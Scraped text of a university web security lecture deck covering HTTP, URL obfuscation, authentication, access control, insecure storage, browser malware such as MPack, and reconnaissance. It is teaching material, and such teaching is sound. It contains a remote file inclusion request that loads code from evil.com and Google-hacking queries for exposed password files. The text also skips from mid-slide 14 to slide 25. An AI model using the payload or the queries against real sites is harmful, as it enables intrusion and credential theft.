Web Security CSC 482/582: Computer SecuritySlide #1
Preview:
Citation preview
- Slide 1
- Web Security CSC 482/582: Computer SecuritySlide #1
- Slide 2
- CSC 482/582: Computer SecuritySlide #2 Topics 1. Why web
application security? 2. HTTP and web input types 3. Web
Application Vulnerabilities 4. Client-side Attacks 5. Finding Web
Vulnerabilities
- Slide 3
- Why Web Application Security? CSC 482/582: Computer
SecuritySlide #3
- Slide 4
- Why Web Application Security? CSC 482/582: Computer
SecuritySlide #4
- Slide 5
- CSC 482/582: Computer SecuritySlide #5 Web Transactions Web
Browser OS Web Server Network HTTP Request HTTP Response
- Slide 6
- CSC 482/582: Computer SecuritySlide #6 HTTP: HyperText Transfer
Protocol Simple request/respond protocol Request methods: GET,
POST, HEAD, etc. Protocol versions: 1.0, 1.1 Stateless Each request
independent of previous requests, i.e. request #2 doesnt know you
authd in #1. Applications responsible for handling state.
- Slide 7
- CSC 482/582: Computer SecuritySlide #7 HTTP Request GET
http://www.google.com/ HTTP/1.1 Host: www.google.com User-Agent:
Mozilla/5.0 (Windows NT 5.1) Gecko/20060909 Firefox/1.5.0.7 Accept:
text/html, image/png, */* Accept-Language: en-us,en;q=0.5 Cookie:
rememberme=true; PREF=ID=21039ab4bbc49153:FF=4 MethodURL Protocol
Version Headers Blank Line No Data for GET method
- Slide 8
- CSC 482/582: Computer SecuritySlide #8 HTTP Response HTTP/1.1
200 OK Cache-Control: private Content-Type: text/html Server:
GWS/2.1 Date: Fri, 13 Oct 2006 03:16:30 GMT... (page data)...
Protocol VersionHTTP Response Code Headers Blank Line Web Page
Data
- Slide 9
- CSC 482/582: Computer SecuritySlide #9 Different Perspectives
Client Side HTTP requests may reveal private info. HTTP responses
may reveal private info. HTTP responses may include malicious code
(Java, ActiveX, Javascript) Server Side HTTP requests may contain
malicious input. HTTP requests may have forged authentication. HTTP
responses may be intercepted.
- Slide 10
- CSC 482/582: Computer SecuritySlide #10 Web-based Input Client
and Server Perspectives Types of Input URL parameters HTML Cookies
Javascript Cross-Site Scripting
- Slide 11
- CSC 482/582: Computer SecuritySlide #11 URL Format :// @ : / ?
Whitespace marks end of URL @ separates userinfo from host ? marks
beginning of query string & separates query parameters %HH
represents character with hex values ex: %20 represents a space
http://username:password@www.auth.com:8001/a%20spaced%20path
- Slide 12
- CSC 482/582: Computer SecuritySlide #12 URL Parameters Client
controls query-string Cannot limit values to those specified in
form Any character can be URL-encoded Even if it doesnt need to be.
Any valid format may be used to disguise true destination of
URL
- Slide 13
- CSC 482/582: Computer SecuritySlide #13 URL Obfuscation IP
address representations Dotted quad (decimal, octal, hexadecimal)
Hexadecimal without dots (with left padding) dword (32-bit int)
Examples: www.eecs.utoledo.edu 131.183.19.14 (dotted quad)
0xDEDA83B7130E (hexadecimal + padding) 2209813262 (dword)
- Slide 14
- CSC 482/582: Computer SecuritySlide #14 HTML Special Characters
ends a tag some browsers will auto-insert matching GET
/include.php?server_root=http://evil.com/command.txt
- Slide 25
- CSC 482/582: Computer SecuritySlide #25 Mitigating Remote File
Inclusion 1. Turn off remote file inclusion. 2. Do not run code
from uploaded files. 3. Do not use user-supplied paths. 4. Validate
all paths before loading code.
- Slide 26
- March 4, 2009SIGCSE Authentication Authentication is the
process of determining a users identity. Key Ideas HTTP is a
stateless protocol. Every request must be authenticated. Use
username/password on first request. Use session IDs on subsequent
queries.
- Slide 27
- CSC 482/582: Computer SecuritySlide #27 Authentication Attacks
Sniffing passwords Guessing passwords Identity management attacks
Replay attacks Session ID fixation Session ID guessing
- Slide 28
- CSC 482/582: Computer SecuritySlide #28 Identity Management
Attacks Auth requires identity management User registration
Password changes and resets Mitigations Use CAPTCHAs to protect
registration. Dont use easy to guess secret questions. Dont allow
attacker to reset e-mail address that new password is sent to.
- Slide 29
- CSC 482/582: Computer SecuritySlide #29 Session ID Guessing Do
session IDs show a pattern? How does changing username change ID?
How do session IDs change with time? Brute forcing session IDs Use
program to try 1000s of session IDs. Mitigating guessing attacks
Use a large key space (128+ bits). Use a cryptographically random
algorithm.
- Slide 30
- CSC 482/582: Computer SecuritySlide #30 Mitigating
Authentication Attacks Use SSL to prevent sniffing attacks. Require
strong passwords. Use secure identity management. Use a secure
session ID mechanism. IDs chosen at random from large space.
Regenerate session IDs with each request. Expire session IDs in
short time.
- Slide 31
- CSC 482/582: Computer SecuritySlide #31 Access Control Access
control determines which users have access to which system
resources. Levels of access control Site URL Function
Function(parameters) Data
- Slide 32
- CSC 482/582: Computer SecuritySlide #32 Mitigating Broken
Access Control 1. Check every access. 2. Use whitelist model at
every layer. 3. Do not rely on client-level access control. 4. Do
not rely on security through obscurity.
- Slide 33
- CSC 482/582: Computer SecuritySlide #33 Improper Error Handling
Applications can unintentionally leak information about
configuration, architecture, or sensitive data when handling errors
improperly. Errors can provide too much data Stack traces SQL
statements Subsystem errors User typos, such as passwords.
- Slide 34
- CSC 482/582: Computer SecuritySlide #34 Example of Improper
Error Handling mySQL error with query SELECT COUNT(*) FROM
nucleus_comment as c WHERE c.citem=90: Can't open file:
'nucleus_comment.MYI' (errno: 145) Warning: mysql_fetch_row():
supplied argument is not a valid MySQL result resource in
/home/exalt2/public_html/username/nucleus/lib s/COMMENTS.php on
line 124
- Slide 35
- CSC 482/582: Computer SecuritySlide #35 Mitigating Improper
Error Handling 1. Catch all exceptions. 2. Check all error codes.
3. Wrap application with catch-all handler. 4. Send user-friendly
message to user. 5. Store details for debugging in log files. 6.
Dont log passwords or other sensitive data.
- Slide 36
- CSC 482/582: Computer SecuritySlide #36 Insecure Storage
Storing sensitive data without encrypting it, or using a weak
encryption algorithm, or using a strong encryption system
improperly. Problems Not encrypting sensitive data. Using home
grown cryptography. Insecure use of weak algorithms. Storing keys
in code or unprotected files.
- Slide 37
- CSC 482/582: Computer SecuritySlide #37 Storage Recommendations
Hash algorithms MD5 and SHA1 look insecure. Use SHA256. Encrypting
data Use AES with 128-bit keys. Key generation Generate random
keys. Use secure random source.
- Slide 38
- CSC 482/582: Computer SecuritySlide #38 Mitigating Insecure
Storage 1. Use well studied public algorithms. 2. Use truly random
keys. 3. Store keys in protected files. 4. Review code to ensure
that all sensitive data is being encrypted. 5. Check database to
ensure that all sensitive data is being encrypted.
- Slide 39
- CSC 482/582: Computer SecuritySlide #39 Insecure Communication
Applications fail to encrypt sensitive data in transit from client
to server and vice-versa. Need to protect User authentication and
session data. Sensitive data (CC numbers, SSNs) Key Idea Use SSL
for all authentication connections.
- Slide 40
- CSC 482/582: Computer SecuritySlide #40 Mitigating Insecure
Communication 1. Use SSL for all authenticated sessions. 2. Use SSL
for all sensitive data. 3. Verify that SSL is used with automated
vulnerability scanning tools.
- Slide 41
- CSC 482/582: Computer SecuritySlide #41 Client-side Attacks
Buffer Overflow 2004 iframe 2004-05 jpeg Remote Code ActiveX Flash
Java Javascript
- Slide 42
- CSC 482/582: Computer SecuritySlide #42 ActiveX Executable code
downloaded from server Activated by HTML object tag. Native code
binary format. Security model Digital signature authentication
Zone-based access control No control once execution starts
- Slide 43
- CSC 482/582: Computer SecuritySlide #43 Java Digital signature
authentication Sandbox Sandbox Components Byte-code verifier Class
loader Security manager Sandbox Limits Cannot read/write files.
Cannot start programs. Network access limited to originating
host.
- Slide 44
- CSC 482/582: Computer SecuritySlide #44 MPack Browser Malware
1. User visits site. 2. Response contains iframe. 3. Iframe code
causes browser to make request. 4. Request redirected to MPack
server. 5. Server identifies OS and browser, sends exploit that
will work for client configuration. 6. Exploit causes browser to
send request for code. 7. Mpack downloader sent to user, begins
d/ling other malware.
- Slide 45
- CSC 482/582: Computer SecuritySlide #45 MPack Commercial
underground PHP software Sold for $700-1000. Comes with one year
technical support. Can purchase updated exploits for $50-150.
Infection Techniques Hacking into websites and adding iframes.
Sending HTML mail with iframes. Typo-squatting domains. Use
GoogleAds to draw traffic.
- Slide 46
- CSC 482/582: Computer SecuritySlide #46 Client Protection
Disable ActiveX and Java. Use NoScript to limit Javascript. Run
browser with least privilege. Use a browser sandbox: VMWare Virtual
Browser Appliance Protected Mode IE (Windows Vista) Goto sites
directly instead of using links. Use plain text e-mail instead of
HTML. Patch your browser regularly. Use a personal firewall.
- Slide 47
- CSC 482/582: Computer SecuritySlide #47 Web Reconnaissance
Google Hacking Index of +passwd Index of +password.txt
filetype:htaccess user allinurl:_vti_bin shtml.exe Web Crawling
wget --mirror http://www.w3.org/ -o /mirror/w3 Santy Worm used
Google to find vulnerable servers.
- Slide 48
- CSC 482/582: Computer SecuritySlide #48 Proxies and
Vulnerability Scanners Achilles OWASP Web Scarab Paros Proxy SPI
Dynamics WebInspect Web Browser Web Server Edit Web Data URL
Cookies Form Data Web Proxy
- Slide 49
- CSC 482/582: Computer SecuritySlide #49 Achilles Proxy
Screenshot
- Slide 50
- CSC 482/582: Computer SecuritySlide #50 Key Points All input
can be dangerous URLs, Cookies, Executable content Consider both
client and server security. SSL is not a panacea Confidentiality +
integrity of data in transit. Input-based attacks can be delivered
via SSL. Top Vulnerabilities Cross-Site Scripting SQL Injection
Remote File Inclusion
- Slide 51
- References 1. Andreu, Professional Penetration Testing for Web
Applications, Wrox, 2006. 2. Daswani et. al., Foundations of
Security, Apress, 2007. 3. Friedl, SQL Injection Attacks by
Example, http://unixwiz.net/techtips/sql-injection.html, 2007.
http://unixwiz.net/techtips/sql-injection.html 4. IBM, IBM X-Force
2010 Mid-Year Trend and Risk Report,
http://www-935.ibm.com/services/us/iss/xforce/trendreports/, 2010.
http://www-935.ibm.com/services/us/iss/xforce/trendreports/ 5.
OWASP, OWASP Top 10 for 2010,
http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Pr oject
http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Pr oject 6.
Neils Provos et. al., The Ghost in the Browser: Analysis of Web-
based Malware, Hotbots 07,
http://www.usenix.org/events/hotbots07/tech/full_papers/provo
s/provos.pdf, 2007.
http://www.usenix.org/events/hotbots07/tech/full_papers/provo
s/provos.pdf 7. Samy, MySpace Worm Explanation,
http://namb.la/popular/tech.html, 2005.
http://namb.la/popular/tech.html 8. Joel Scambray, Mike Shema,
Caleb Sima, Hacking Exposed Web Applications, Second Edition,
McGraw-Hill, 2006. 9. Stuttart and Pinto, The Web Application
Hackers Handbook, Wiley, 2007. CSC 482/582: Computer SecuritySlide
#51